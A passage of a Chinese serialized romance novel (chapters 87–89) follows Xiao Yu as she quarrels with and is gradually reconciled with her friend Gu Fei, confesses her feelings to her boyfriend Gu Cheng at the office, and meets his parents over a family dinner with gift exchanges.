“菲菲。”肖瑜拉下她的手,很认真地看着她,“背后这样讲我,说明你并没有真心把我当朋友。我现在很生气,不想跟你说话,你最好别惹我。”
“……”顾菲大喘气儿地瞪着她,却被噎得说不出话。
肖瑜又看了她一眼,抿紧唇角转过身,再没跟她多说一个字,径直走向了大门。
*
剑拔弩张的气氛,在咖啡机重又开
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始运作的声响中,缓和了下来。
顾菲白着脸立在顾程身后,看着他慢条斯理打完自己的咖啡,热了片吐司,兀自坐去了餐桌。
“哥,对不起,我,我有口无心,我没想到会这样。对不起。”
顾程没理她,冷着眉眼一边拿手机回复工作信息,一边安静地用餐。
“哥……”顾菲的唇角撇了一下,委屈地在他对面坐下,“你别生我气了,好吗?肖瑜那里,我会去帮你劝的。”
“你帮我劝?”顾程放下手机,都气笑了,“她是在生你的气,不是我。菲菲,唯一一个在你有难处的时候,会不考虑后果借钱给你的朋友,你都能给作没了。真行。”
他这话一出,顾菲的嘴角撇得更厉害了,眼睛里甚至隐隐有了水光。
她当然明白肖瑜是在生她的气。此刻心里那被人紧紧捏住一样的难受劲儿,也是因为肖瑜刚才看向她时,失望又难过的眼神。
她把肖瑜当朋友。尽管相处时日尚短,可她真的把肖瑜和燕北北当朋友,真朋友。
只是从小到大,身边的朋友都习惯了她的口无遮拦,从来没有人当面跟她闹过难堪。甚至秦舒曼,偶尔被她不留情面地怼几句,也都只是笑眯眯三言两语转开话题。所以她从来也没在乎过别人会不会因为她的话难受,更没觉得自己的心直口快是错的,相反,一直以为自己很直率,且引以为傲。
可刚才,肖瑜没有跟她吵,没有跟她闹,只是明明白白告诉自己,她生了气,不想理她了。她反而突然就意识到了自己的所谓直率,多么幼稚,多么伤人。
顾菲吸了吸鼻子,拿起纸抽捂住眼睛。
顾程掀起眼皮看她一眼,复又拿起手机。
嚎啕的哭声,突然就惊天动地响起来。
顾程刚拿起的手机又放下,一手塞耳朵,一手执起咖啡杯,“把人惹生气了就去道歉,你跟我哭什么?”
“她都不想跟我说话了,我怎么道歉啊!”顾菲哭得稀里哗啦,比被经济制裁了还痛苦,“我就是想哪儿说哪儿了,我从来也没觉得她是在玩你……呜,哥,我现在就肖瑜跟北北这两个朋友了,呜……可肖瑜她不搭理我了……呜……”
等她哭完,顾程早就收拾完餐具,换好了出门的衣服。
“知道错了,以后就要长长记性,记住什么是祸从口出。”他把麦片和牛奶放到顾菲面前,缓了语气道,“得空我帮你哄哄她。晚上回了家,你自己找机会去道歉。”
顾菲还是抽抽搭搭撇着嘴,拿起麦片往碗里倒着,小声嘟囔,“我不好意思道歉。”
她确实不太好意思,也不习惯跟家人以外的人服软。
顾程抬了下眉,低哼一声,“爸妈第一次见儿媳妇,你自己看着办。”
*
肖瑜并没有去公司食堂,而是在楼下咖啡厅要了点东西,直接带去了办公室。
跟刘娜他们笑着打过招呼,在自己的工位坐下时,她的嘴巴还是不由自主嘟了起来。
顾菲这个炮仗嘴,说的话确实让她心里很难过。可仔细想想,香港一行,虽然她跟顾程的亲密关系有了质的飞跃,两人之间却是还有很多事情没有彻底说开。
比如,他已经知道自己曾经喜欢过的人是姜昊,可他知道多少,又是否介意自己那些年里舔狗一样的付出。再比如,那晚她是在哪里晕倒的?因为最后的记忆,还是停留在二楼微有灯光透出的卧房,还有自己脸颊上冰凉的泪水。这些,他真的不会介意吗?
肖父的电话打过来,跟肖帅已经在回舟城的路上。虽然他没有多说什么,只是跟往常一样叮嘱自己,一个人在外,受了委屈要及时跟家里讲。可肖瑜还是敏感地察觉到,父亲的情绪似乎有些低落。她追问了两句,但他只说是工作上有些烦心事,肖瑜这才稍稍放下心来。
【小鱼儿,你今天上班吗?】
是燕北北发来的微信。
肖瑜抬头看一眼总裁办里已经忙碌起来的同事,给她回道:【嗯。中午一起吃饭啊?】
燕北北:【好,我早上睡过了,没来得及吃早饭。中午你早点来办公室找我。】
肖瑜看了眼手边那只装着牛角包的袋子,刚拿着站起来,办公室门口已经出现了顾程的身影,在一干秘书恭敬的寒暄中,径直朝她走来。
87. 第 87 章
第八十七章
第一排的两个秘书在顾程身后悄咪咪翘起头,表情很平静,眼睛里期待又八卦的光却闪得极为热闹。
“顾总。”众目睽睽下,肖瑜对男朋友以上司的身份向她靠近,还是不太适应,红着脸打了个招呼,便没再吱声,等着他发号施令。
可顾程只是看了眼她手里的牛角包,点点头,“没事。十点半来一下我办公室。”
肖瑜咬了下嘴巴,“哦。”
*
周五上午的管理层都很忙碌,因为顾程下午不在,很多事务都需要在午餐前做决断。
晨时的会议开到十点一刻才结束,肖瑜在刘娜的提醒下去找顾程时,他办公室门前的等待区里,已经又坐了好几位等着议事的部门老总。
几个领导都是红光满面,正低声讨论着昨日远洲到访的事情。肖瑜客气地跟他们点了下头,敲了敲门。
那几位老总里面,穿中山装的上次在这里见过她,看到身侧几人奇怪地打量起这个不喊人的小员工,他悄声道,“她就是肖瑜。”
另外几人的眼睛也都是一亮,望着走进办公室的身影,再度激动地小声讨论起来,声音里都有难抑的喜悦。因为昨日酒宴上,肖远舟一点不遮掩地公开了宝贝千金在此实习的事,还客气地让在场华驰诸高管多照顾。想必华驰苦尽甘来,乘在业界巨人肩头走向世界的梦想,很快就可以彻底定调。
只不过,公司里,顾程跟这个小实习生谈恋爱的事情已经不是秘密,可昨晚肖远舟却并没有提过,连顾程自己也没借着他的话提提自己的女朋友,也不知道这两个如今又是什么情况。
他们在讨论什么,肖瑜并不在意。进了办公室被顾程执手带进休息间,看到茶几上摆着的M记点心,她怔了怔,唇角抿了起来。
“早上问了食堂,说你没过去。我以为你气的吃不下饭,就让人准备了些点心。当上午茶了。”
顾程把她拉进怀里,拿起一块蔓越莓酥,哄着她张嘴,“据说是你最喜欢的口味。咬一口,看能不能解点气。”
这是以往在学校时,肖瑜买得最多的一款小零食。姜昊喜欢他们家的黑森林,而她更喜欢各式各样的小点心,时不时就会买一些,送给他和室友,博好感刷存在感。姜昊也会买给她们寝室,通常,都是在两个人闹了脾气之后。
此刻蔓越莓酥的奶香味在鼻尖轻绕,肖瑜的眼睛却一下热了起来,她没有张口去咬,而是推开点心转手紧紧抱住了他的腰,埋头在他怀里。
“我已经教训过菲菲了,她会跟你道歉,也保证以后不会再说过分的话。”顾程只当她还是因生顾菲的气,觉得委屈在跟自己撒娇。他轻抚着她的背脊,悄声劝,“其实菲菲很在意你,早上还因为你说以后不理她,哭了半天。所以,就原谅她这一次,好不好?”
“我现在不是在生她的气……”
哽咽的嗓音从怀里传出来,顾程连忙低头抬起她的下巴,因她突然的泪眼欲泣,眉心一紧,“是在生我的气?”
肖瑜的唇角一个劲儿往下撇,像是受了天大的委屈,凝视着他的眼睛里,蓄满了快要喷涌而出的泪花,“我不是把曾经对另一个人的感情转移到了你身上,也不是只图一时的新鲜,我就是单纯喜欢跟你在一起的感觉,简简单单就能感受到开心和满足。会吵架会闹别扭,可不会患得患失,不用费尽心思从相处的细节上,去寻找你或许也喜欢我在乎我的痕迹。
“顾程,我喜欢你,是真的很喜欢。我不是随随便便转头就喜欢你的,是跟你在一起之后,一点一点,越来越喜欢的……我就是真的很喜欢很喜欢你,不是像菲菲说的那样……”
她有些语塞。平日里写文的行云流水一点用不上,似乎所有华丽的词藻,都不能描绘她此时那种,简单又急于宣泄的情愫,除了‘喜欢’,竟再没有合适的语言可以表达。
可面前的男人只是低头静静看着她,没有哄,也没有劝,甚至没有一点表情。
她的嘴角又撇了撇,泪水终于还是没憋住,滴滴答答顺着脸颊,流了下来。
“一上午都噘着嘴不高兴,原来是因为太喜欢我了?”
低沉的笑声很突兀,也很不合时宜,却直接就把肖瑜的眼泪截了流。
下一秒,顾程就把她重新摁回了怀里,嗓音里满是无奈,“我下午还要去训人,被你一通表白过后,忍不住总想笑怎么办?”
肖瑜抽了抽鼻子,嘟着嘴巴从他怀里翘起头,“我很认真的,你严肃一点。”
“严肃不了。”顾程的唇角的确压不住,他侧身拿了纸抽去蘸她脸上的泪,眼角眉梢都染着笑意,“前几天在香港的事,我心里的确一直过不去。不过不是因为你做的不好,而是偶尔还会介意相遇太晚,才会让你有这么一段过去。可现在换个角度思考一下,未尝不是件好事。”
“真的吗?”肖瑜眨着眼睛,不相信地问,“从哪个角度思考?”
顾程拿拇指轻轻摩挲着她还有些湿润的脸颊,低笑着道,“先不说我在你这个年纪,你还未成年,那时我自己也根基不稳,只想着捞钱捞声望,用实力排除异议,根本没有心思在感情上浪费时间。所以如果太早相遇,要么会错过,要么,只怕会一天天被你表白得七荤八素,根本就无心事业,变成坐吃山空的废物。”
“哪有那么夸张?”肖瑜很不认同,“搞事业就不能谈恋爱了吗?很多人事业恋爱双丰收啊,我爸爸就是。”
“他们是创业,夫妻同心,其利断金的组合。”顾程笑了笑,耐心地解释,“守业跟创业是不一样的,等将来培养儿子的时候你就知道了。我以前一天只睡五个小时,每天……”
他话没说完,手机已经在茶几上震动起来。其实外间因为办公室和休息间大门都敞开着,也早就有一些来回走动的声响,只不过大家都知道两人的关系,便是有急务,也不敢贸然闯进来打扰。
“谢谢你的点心。”肖瑜也意识到自己在这里待了太久,上前轻轻抱了他一下,“你工作吧,以后得空我再听你给我讲故事。”
顾程片刻前的笑意已经淡了下来,低头在她唇上吻了一下,低叹一声,“突然不想工作了,怎么办?”
肖瑜被他故意的颓丧逗得弯起了唇角,转身拿起茶几上的几盒点心,又在离开前,丢给他一个飞吻,“专心捞钱捞声望,爱你呦!”
*
顾程十一点就离开了华驰,路上又电话叮嘱了肖瑜晚上回去见家人的事情,听到小姑娘的声音恢复了平素的笑语晏晏,才算彻底放下心
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来,心无旁骛投入到接下来的工作安排中。
而肖瑜也在不到十二点就去了财务科找燕北北,迎面在走廊上见到跟同事一起去食堂的周美茗,她下意识就靠向了墙壁,好给这个大熊猫让出康庄大道。
“肖瑜啊,有一段没见着了,最近好吗?”
周美茗温柔地笑着,还拉了下跟她同行的一个面生小姑娘,介绍道,“珍珍,这就是肖瑜,刚来实习的时候,跟着我的。”
小姑娘看向肖瑜的眼神立刻变得有些不一样,说不出来是羡慕还是什么,弯着唇角招呼道,“你好肖瑜。我是吴丽珍,刚入职不久,现在跟着美茗姐姐学习。认识你很高兴。”
肖瑜也笑着招呼道,“你好。美茗姐很厉害的,能跟她学习很幸运。有事多跟她请示,会学到很多东西。”
“嗯,我会的。”吴丽珍客气地点了点头。待肖瑜转身走进了应收科,她才小声问周美茗,“美茗姐,她真的是老总的女朋友吗?看起来好小啊。”
高层之间对肖瑜的身份心照不宣,可知道这事儿的唯一小兵蛋子也就燕北北。是以周美茗他们虽然了解肖瑜和顾程谈恋爱的事,却压根不知道她跟远洲的关系。
闻言周美茗还是温柔大姐姐的模样笑了笑,叹息道,“是呀,她是个很乖巧的女孩子,跟你很像。之前让她给老总送过几次特批票,老总对她印象很好,照拂得就多一点,没想到两个人现在正式谈上了。你看刚刚,说话跟未来老板娘似的,负责任又操心。”
吴丽珍因她的话眼神动了动,乖巧地点了下头,“是呢。姐,您去歇着吧,我给您打饭。”
*
“昨晚还是喝高了,你哥还灌了我好几杯呢,一点不把我当你闺蜜,害我今早差点迟到。”燕北北跟肖瑜在食堂里坐下来,狼吞虎咽吃了几口饭,埋怨中又带着兴奋,悄声道,“我下周就要调到市场部了,文件下班前发。”
“恭喜燕总啦。”肖瑜拿起酸奶杯跟她碰了一下,吃了点东西笑道,“我哥哥肯定是故意的啊。那种场合,他专门灌你,传递的信息不是很明显吗。”
“啧,以前说你傻白甜还真是我眼拙了。”燕北北也弯了眼眸,“可不是吗,今儿一早,秦总就过来找科长,催着让我交接工作,收拾收拾赶紧去报道。哎,我们应收科的人,都可舍不得我了。”
“那你要不想去的话,要不我跟顾总求求情,别让你去啊?”
“可别的,我还要靠提成存首付呢!”明知道肖瑜是在开玩笑,燕北北还是着慌地瞪了她一眼,才又笑道,“小鱼儿,你这……”她越发压低了声音,嘟囔道,“你这藏得也太深了,我一直觉得你家里不差钱,可也没想到你不差钱到这地步。关键你爸爸他们,是真的很爱你,难怪一天天除了姜昊,就没见你为什么人什么事烦恼过。”
“以后我们不提姜昊了,好吗?”见燕北北闻言关切地看向她,肖瑜笑了笑,是发自内心的释然,“前几天在香港,我们见过一面,我想我真的已经放下了。顾程很好,是我今后想要好好去爱的那个人。”
“你们……见过面?前几天在香港?那顾总不是也在?”燕北北惊得眼珠子都要掉下来,饭也不吃了,推开餐盘坐到她的身侧咬耳朵,“什么情况?你快跟我说说。”
88. 第 88 章
第八十八章
“其实也没什么,就是曾经很困扰我的事情,解开了。而且,我……”肖瑜深呼吸了一下,弯起唇角,捂住嘴巴在她耳边悄悄说了句话。
“纳尼!”燕北北脸红心跳地叫了一声,在周边投来的各色目光中,轻咳一声掐了掐肖瑜的胳膊,悄声道,“小蹄子,今晚我去你那儿睡,你赶紧把验货详情给我讲清楚……”
“去你的。”肖瑜打开她的手,低着头笑得眯弯了眼,“晚上我要去他家见父母。不过咱俩确实很久没睡在一起聊聊天了,约周日吧。”
燕北北的眼睛又睁大了一号,可她还没来得及再问,面前走来一个女孩,很客气地问,“肖瑜,我可以坐下一起吗?”
是吴丽珍,方才办公室的走廊上刚见过面。
肖瑜有些不解地抬头看了看四周,“你不是跟美茗姐一起来的吗?”
吴丽珍见她没有明确拒绝,真的在对面坐了下来,笑了笑,“美茗姐得午休,我已经帮她把饭打好带回去了。”
燕北北看她一眼,把自己的餐盘挪过来,偷笑着吃了口菜。
肖瑜虽然性格软糯,但一向慢热,面对陌生人的示好,若非必要,客气礼貌的拒绝居多。所以整个大学期间,点头之交不少,真正亲近的朋友说来说去也就她和姜昊,勉强能再加上个同寝的刘孜歆。只不过以前她只是觉得肖瑜不善社交,如今才明白,果然如她曾跟自己说的那样,在她的生活里,不重要的人她压根就不会在意。
果然下一秒肖瑜就不好意思地跟吴丽珍说道,“珍珍,我跟北北正在聊私事,不太方便有外人在。下次有机会再一起,好吗?”
吴丽珍怔了一下,又把盘子端起来,挤了个笑,“对不起打扰了,我刚来还没什么朋友,之前也没有跟你正式交接,所以是想问问工作里要注意的事情。那就下次吧,你们先聊。”
燕北北看着吴丽珍紧紧捏着盘子走开,远远找了个座位,背对着她们坐下,而肖瑜丝毫未觉不妥,一边吃饭,一边又笑着开始跟她小声说话,“前几天顾总送我回家,我把事情都跟妈妈说了,她很喜欢顾程的,一直夸我有眼光。我妈妈也觉得,顾总将来会是我爸爸那样的老公,知道疼老婆疼孩子。”
“你爸确实很疼你。”燕北北感慨着收回目光,点点头,悄声道,“昨晚你爸还专门问了我,你跟姜昊在学校的事情,特别是你之前过生日那阵儿。哎,他那么一个被众星捧月的顶级霸总,听完眼圈都红了,把我给吓的。得亏顾总在边劝了几句,那眼泪珠子才没掉下来。”
肖瑜正在咀嚼的牙齿紧了一下,想到一早父亲在电话里沉闷的语调,心里又疼又涩。她咽下嘴里的东西,轻轻点了点头,“是我让他们担心了。北北,你跟刘明坤进展怎么样了?”
“CRUSH而已,没什么进展不进展的。”燕北北有些讽刺地笑了笑,淡淡说道,“大家都知道我是因为你的缘故,才有这样的机会。面子上和和气气的,心里不知道嫉妒成什么样子呢。要不今早我能差点迟到?起来的时候屋里一个人都没有,连刘明坤都没等我,以前都是相互叫着起床一起上班的。”
“你自己也是有能力的,只是我们跟顾总认识的早,多了些机缘而已。”肖瑜握住她的手,悄声道,“如果你是我这种不太喜欢跟生人打交道的性格,我想顾总也不会把你安排进市场部。别人怎么想不重要,重要的是你自己喜不喜欢新的岗位。北北,他们如果质疑你,也就是在质疑管理层的眼光和决断。再说工作中,人情往来本就必不可少,如果他们也觉得自己有实力,不应该更要跟你搞好关系,借一借你的东风吗?”
实习期里就能被选调到最有发展空间的部门,的确毫无先例。所以一夜之间被室友孤立,燕北北多少有点心虚。可听肖瑜这么一说,想想同科室那些老油条今日热情洋溢的笑脸,甚至连刚才那个新入职的吴丽珍,都会故意接近肖瑜,她长吁一口气,拿起酸奶跟她碰了个杯,“要不说虎父无犬女呢,你说我们这些个没背景没资历的新兵蛋子,瞎在乎什么清高?你说得对,我燕北北一没出卖色相,二没卖友求荣,完全可以理直气壮地在新部门闯出一番事业啊!干了!”
“我就喜欢看你豪气冲天的样子!”肖瑜也乐呵呵跟她碰了下杯,大口喝完,又说道,“菲菲约你了吗?说是周三让我们一起见见她男朋友。”
“嗯,她上午给我打电话了。”说到这儿,燕北北好笑地瞅着她,挑了下眉,“活久见啊,菲菲说你今天冲她发脾气了?”
“骗子。”肖瑜恨恨地翻了个白眼,心里还是有气,“她不跟我道歉,我以后就不理她。”
“怎么了嘛?”燕北北其实啥也不知道,因为顾菲在电话里哼哼唧唧的,只说自己说话不好听,把肖瑜给惹恼了,当着她哥的面下了她的脸,让她心里怪难受的。
“等她跟我道了歉,让她自己跟你讲。”肖瑜不愿背后说顾菲的不是,随意应了一句,就见燕北北放在桌上的手机屏幕亮起来,来电人备注是【渣狗】。
燕北北也瞥了眼屏幕,直接按了拒接,冷笑道,“是赵成杰那个龟孙子。知道我现在在华驰,脸都不要了,上周一直跟我发微信要约着见面。被我骂了一顿后,还说我幼稚,公私不分,他只是想跟我谈谈公司的业务,看有没有机会拉拉存贷款,可以给我分提成,互惠互利。嗳小鱼儿,你说之前我怎么就看上这么个玩意儿呢?”
肖瑜也很唏嘘,“是啊,走上社会,真的跟在大学里太不一样了。不过北北……”
“嗳,还吃着呢?”正说着话,市场部的赵国成副总笑呵呵走过来,很客气地跟肖瑜笑了笑,看向燕北北时有几分踌躇,“北北啊,虽说你的调令今晚才下,可咱们市场部已经当你是一分子了。因为几个参数问题,技术部的人今天就得去趟舟城,秦总的意思是咱们最好也去几个人,跟进一下,跟远洲的市场部联络联络感情。这一个小时后就得出发,你看你来得及回去收拾一下,跟着去学学吗?”
“来得及的,赵总。”燕北北嚯得就站了起来,身板挺得笔直,“半小时后我去找您报道,您现在开始倒计时,晚一秒我请您吃一周糖炒栗子!”
“哈哈,就是这个劲儿
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!”赵国成四十好几的人了,也被燕北北充满热情的干劲儿给逗得哈哈大笑,点头道,“大巴已经在停车场了,收拾好直接上。北北,未来可期啊。”
肖瑜也把自己的鸡翅放进了燕北北碗里,握拳给她鼓劲儿,“北北,你是最棒的!加油!”
*
一下午的时间过得很快,心事得以倾诉,好友事业开启新章程,令肖瑜心情十分愉悦。手中的事务本就轻松,离下班还有一个多小时,她已经处于无所事事的状态。
然而总裁办对她这额外新增岗位的缘由人人心知肚明,就算是刘娜,也不会随随便便给她安排计划外的工作。还是安祈攸回到公司后,看到肖瑜一个人在茶水间刷手机,才把她拎到顾程办公室,直接丢来高高一摞子资料,让她原地翻看。
去香港前的那次谈话,让肖瑜在面对安祈攸的时候,跟初初相识心境极为不同,多了点那么职场导师的意思,敬重有加,所以对他的工作安排,照单全收。
安祈攸对她的态度转变也看的明白,虽然目光不敢再往她身上停留,可该用能用的时候,用得那叫一个得心应手。不过想到顾城或许会介意小姑娘受累,还是提前汇报了一声。
还好,对于此次的工作安排,平素最喜欢把他累成狗的大BOSS,简单地回了句:【可以。】
*
肖瑜拿到的资料,是各厂区质检员直接报来的质检报告和整改结果。虽然内容上看得有些吃力,然而十几份报告看下来,尽管对一些参数和规格标准还不确定,她也已经看出了不少问题,也有了相关的工作想法。
只是资料还有大半,顾程的电话便打了过来,司机已经过来接她,要她收拾收拾早点去老宅。
她看了眼表,这才惊觉时间已经不早,匆匆让安祈攸把资料复又锁起来,连忙回家拿上礼物换了衣服,这才跟和蔼的司机大叔聊着天,奔向了夜来的首次见家长。
顾家老宅在城东,跟华驰有不小的距离。来接她的,是顾夫人程岚的专属司机陈叔,在顾家已经工作了近二十年。他算不上健谈,甚至比较寡言。然而面对比自家儿子年纪大不了几岁的肖瑜,因小姑娘说话温声细语客气礼貌,问的也都是顾程和顾菲小时候的事情,他难得没有坚持平素对生人的警惕和疏离,一路上倒跟她说了不少的话,车子开进老宅大院时,对这位未来的少夫人,印象已是极好。
比起自家在舟城别墅区邻里相隔不远的宅子,顾家老宅的私密性更强,占地更广,人工湖畔只有星星落落几座高墙大院。
车门打开时,顾程正在不远处打着电话,偏头看了过来。
上午见到小姑娘,还是一头浓密的栗色长发,细腰丰臀穿着合体的西裙,却把傲人的上围藏在了宽松款的衬衣里,新晋小白领的模样。此刻她束起了长发,脑袋上顶了只大大的丸子,穿着一身小香风套裙,踩着马丁靴,青春又不失优雅,却比他想象中略显正式。
顾程低头看了看自己已经换上的家居服,下意识往身后的主楼看了一眼。
楼上的某个房间,窗帘一侧,无风而动。
89. 第 89 章
第八十九章
他无奈地勾了下唇角,边听电话边向肖瑜走去。
肖瑜看到他时,也些微有些惊讶。
顾程一向喜穿暗色系正装,休闲衬衣也多是修身型。可此刻奶白色的居家服宽宽松松,他脖颈上还戴着与她成对的情侣项链,与平素骄矜稳重的形象反差极大,温柔中透出几分慵懒的性感,看得她心头小鹿乱撞。
“嗯。”顾程见她在不远处停下了脚步,小脸红红很是迟疑地看着自己,他挑了下眉,跟电话那头说道,“带个合适的女伴,我女朋友也会去,得有人能陪她说说话。先挂了。”
“怎么了,紧张?”挂了电话,他走近几步,接过她手中的袋子,笑道,“之前我看你在家都喜欢穿休闲服,怎么今天来家里,穿得这么正式?”
“第一次见叔叔阿姨,是要正式一点的。”
前院很大,尚有正在修建花草枝叶的佣人在。肖瑜咬着嘴巴左右看了看,到底还是忍住了想抱抱他的冲动,乖巧地跟着他往主楼走,“有什么需要注意的吗?”
“我父母很好相处,不要怕。”他说着,又笑了笑,“菲菲也很早就回来了。要是你没那么生气了,今晚还是多少给她留点面子,毕竟以后是你小姑子。”
“嗯。”肖瑜点点头,抬眸看到前厅里一个同样身着居家服的年长男人,正朝二人迎来,她问询地看向顾程,见他微微点了下头,她弯起唇角,甜甜笑了笑,“顾叔叔好,我是肖瑜。见到您很高兴。”
*
“我哥能这么快找到媳妇儿,都是我的功劳。”会客厅里,穿着哈喽凯蒂居家服的顾菲,亲热地坐在肖瑜身边,抱着她的胳膊跟老爸邀功,“爸,我之前都没跟您和妈说吧?当初就是我一个摇一摇,把肖瑜,啊,把嫂子,给摇到了我哥面前。要不是我,他俩面对面估计都不会说上一句话呢。爸,肖瑜先是我闺蜜,才是我哥的女朋友。我们俩先好上的,我们俩感情可好了,你知道吧?”
顾连峰点了点头,把嘴角刻意提了提才看向肖瑜,“姑嫂感情好,日后定是家和万事兴。你父母近来可好?听阿程说老肖昨天过来了一趟,我一早才从外地回来,没赶上见。不然今天应该喊老肖一起聚一聚的。”
“他们都挺好,谢谢顾叔叔挂念。”肖瑜被顾菲抱住胳膊,心知她是在有意示好,没推搡但也没多看她,歪头跟顾父笑着说,“顾叔叔,第一次见面,我不知道您喜欢什么礼物。”她趁机把胳膊从顾菲手里抽出来,捏了下顾程的腿,“那个黑色的袋子。”
顾连峰见状先看看似乎上赶着还不被领情的顾菲,又看看被随意使唤着递来黑色袋子的顾程,微微一惊。
顾菲什么性子,他可是一清二楚。什么时候被人这样无视,还吭都不带吭一声的?虽说这是她未来嫂子,可丫头一点就炸的臭脾气,神佛难挡。哪有今天这般受了冷遇,还敢怒不敢言的?
还有他们家这个表面绅士有风度,实则不懂得怜香惜玉的儿子,连秦舒曼都没这么随心所欲地使唤过他,倒是看他一副习以为常的模样,被使唤着还翘嘴。
“叔叔,听阿程提过您平素喜欢喝茶,所以我就给您带了这个过来。”肖瑜从袋子里掏出一个考究的盒子,双手呈给顾连峰,“我不太懂,但这是我爸爸的藏品之一,希望您也会喜欢。”
大师亲制延年壶。收藏圣品。
顾连峰掏出紫砂壶看了眼座下的名字,啧了一声,“老肖知道你是拿来送给我的吗?肖瑜啊,这送出来了可不能要回去的。”
一句话说得肖瑜眯弯了眼眸,很开心地应道,“没关系,他那些藏品里面,我就觉得这只好看,您喜欢就好。”
“夺人所爱,老肖这会儿说不定正在骂我呢。”顾连峰爱不释手摩挲着壶身把玩一阵儿,看向顾菲,“去催催你妈,肖瑜都来了半天了,她还在楼上捯饬,也不怕把人给饿着?去。”
顾菲磨磨蹭蹭起了身,眼睛在顾程身侧的另外两只袋子上顿了顿,神情终是有些黯淡地上了楼。
她不在乎肖瑜会送给她什么礼物,在乎的是他们家有四个人,可肖瑜只准备了三份见面礼,看来还是没打算原谅她。
她前脚走,顾连峰后脚就跟顾程说道,“你不是说想把那套房子弄过来吗?我来安排,给肖瑜当见面礼。”
顾程笑着看他一眼,点点头。肖瑜不知道两人打什么哑谜,有些奇怪地看了眼顾程,却还是先转头跟顾连峰客气道,“叔叔,我是小辈,第一次见面理应送您礼物的。可您这一见面就送房子,有点太贵重了。还是……”她脸颊红了红,声音有点小,“还是等我们结婚的时候再送吧。”
跟长辈一见面就谈结婚,尽管羞赧,却不见生怯。顾连峰越发惊讶地看着这小姑娘,好半天,才又看看一直看着肖瑜笑而不语的儿子,似乎终于理解了他突然想要步入婚姻的念头。
他顿了顿首,解释道,“你第一次上门,叔叔阿姨本该礼数周全。阿程的母亲已经给你备了礼物,我……咳……”他脸色也是一红,清清嗓子道,“我没经验,本来觉着这事儿女主人安排就好,不过,这要是来日老肖知道我空手拿了他心爱的藏品,叔叔的名声在圈子里就坏了。这事儿啊,听叔叔的。”
肖瑜听了他的话,下意识去看顾程。顾程伸手揽上她的肩握了握,“就听爸的。”
她只好轻轻点了点头,转头想要再向顾连峰道谢,视线扫到旋梯上跟顾菲一同而来的华服贵妇,她怔了怔,不由突然觉得有些紧张。
也难怪她突然生怯。
自打进门,跟顾连峰已经聊了半天,女主人却始终不曾露面。刚一现身,便是明星走红毯般,身姿优雅,端着步态。家里其他几人全都是随意家常的居家服,而她却一身淡雅又不失华贵的套裙,连发丝都明显刚刚经过打理,精致得一丝不苟。
那气场,很容易就让人联想到,小说里万般挑剔难相处的恶婆婆,虽然她很漂亮,长得也一点都不凶。
客气中带着审视的目光自上而下落在肖瑜的身上,她肩颈一紧,起身,朝程岚的方向笑了笑,“阿姨您好,我,我……我是肖瑜。”
顾程也随了她起身。肖瑜把他还搁在自己肩上的手拉下来,还递给他一个有些嗔怪的眼神。
顾程看了看自己被嫌弃的手,目光在母亲和肖瑜脸上转了转,不禁笑道,“妈,先前是你要我们都换上家居服,说要让肖瑜看了放松点,免得我爸看起来太严肃,吓着她。怎么这会儿您自己跟皇太后出巡一样,看把人给吓得,直接结巴了。”
肖瑜闻言惊讶地转头看看顾连峰,顾连峰无奈地道,“你阿姨头回见你,紧张。一听说你要来,在家里折腾几天了,光衣服都专门加急订做了好几套,一天换几次地让我给意见。你来之前她还穿着新制的睡衣,不知道怎么突然又给换了。你赶紧夸夸她,可别让她再折腾我了。”
肖瑜目瞪口呆地又转头看回终于端着步子走下旋梯的女主人,只见她方才还略显严肃的面容上,已经有了一丝崩裂,佯怒地看着自己的老公和儿子。
她忍不住笑出了声,“阿姨,原来您是这么可爱的。谢谢您认真为我准备。”
被一个二十出
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头的小姑娘夸可爱,程岚都不知道是该哭还是该笑,又拿目光在老公和儿子脸上剜了剜,才近前来拉起肖瑜的手,浅浅笑道,“都怪阿程,明明说好了只是一顿家宴,大家都穿得休闲一点,不那么正式。可我刚才在楼上,瞧着你收拾得精精神神的,想着我要是太随意,怕你会觉得被轻慢了。”她说着,从顾菲手中拿过一个礼盒,递给肖瑜,很期待地看着她,“你瞧瞧阿姨送的礼物喜欢吗?不喜欢的话,我还准备了别的。”
打开礼盒,看到一长串钻石抓嵌的孔克珠,颗颗饱满,莹润硕大,肖瑜不可思议地抬头望向程岚,“阿姨……”
程岚见状有点忐忑地看了眼儿子,接收到他安抚的眼神,她小心翼翼地问,“不喜欢啊?”
“不是的,我只是没想到,我们居然准备了一样的礼物,只是您的比我的更难得。我很喜欢呢。”她笑弯了眼睛,把礼盒盖上递给顾程保管,又从他身侧拿起那只橙色的袋子,拿出里面的盒子,递向顾菲,“我给菲菲也准备了孔克珠,不过是条手串,小了许多。菲菲,送给你。”
孔克珠可遇不可求,价值在次,重在难得。肖瑜这串手链,是因为打小喜欢这种珠子,所以肖远舟夫妇时常留意,遇到了品相好的就给收过来,日积月累,才终于集齐了一条手串的长度,同样碎钻抓嵌,保留了珠体天然的形状。而程岚送她的那串项链,珠子的数量足足是手串的两倍,可见是收集了有些年头的。
顾菲已经在旁做了半天的透明人,接过肖瑜递来的盒子时,还有些没回过神。她打开盒盖拿起珠串,目光闪了闪,欲言又止地看向了肖瑜。
程岚在旁捏了捏她的胳膊,嗓音很轻,却明显有着责备,“平日里话多得像个小麻雀,怎么今天来了客人,该说话的时候不吭声了?”
“阿姨,菲菲我们俩正在闹脾气呢,别理她。”肖瑜并没有在意顾菲的态度,而是又拿起最后一个袋子,端出了最后一只礼盒,“阿姨,这是送给您的。”
“你……菲菲你们在闹脾气啊?”程岚有些摸不着头脑,接过礼盒也没心思立刻拆开,看了看闻言嘴角登时下撇的女儿,再瞅一眼自己的老公。素来在外神色严正的男人,压着嘴角像是在忍笑,而自己的儿子也没事人一样眉目含笑,两边都不哄也不劝。她压下心中的疑问,打开礼盒看向莹润耀眼的南洋珠套装,夸赞道,“很漂亮,跟我前几天新做的几条旗袍都很搭。方才让你久等了,来,我们先去吃饭,边吃边聊。”
女主人发话,几人一团和气往餐厅走,顾程拉起肖瑜的手,刚问了句,“我的呢?”
顾菲就挤了过来,嘟着嘴巴昂着脖子,问肖瑜,“你已经原谅我了,对吧?”
“你跟我说对不起了吗?”肖瑜也嘟着嘴巴,还翻了下眼睛,“我为什么要原谅你?”
“你不原谅我,怎么还送我礼物?”顾菲干脆把顾程拉着肖瑜的手拽下来,也不管亲哥递过来的冷眼,硬是凑上去挽住肖瑜的胳膊,继续嘟嘴,“孔克珠我很喜欢。所以,你得原谅我。”
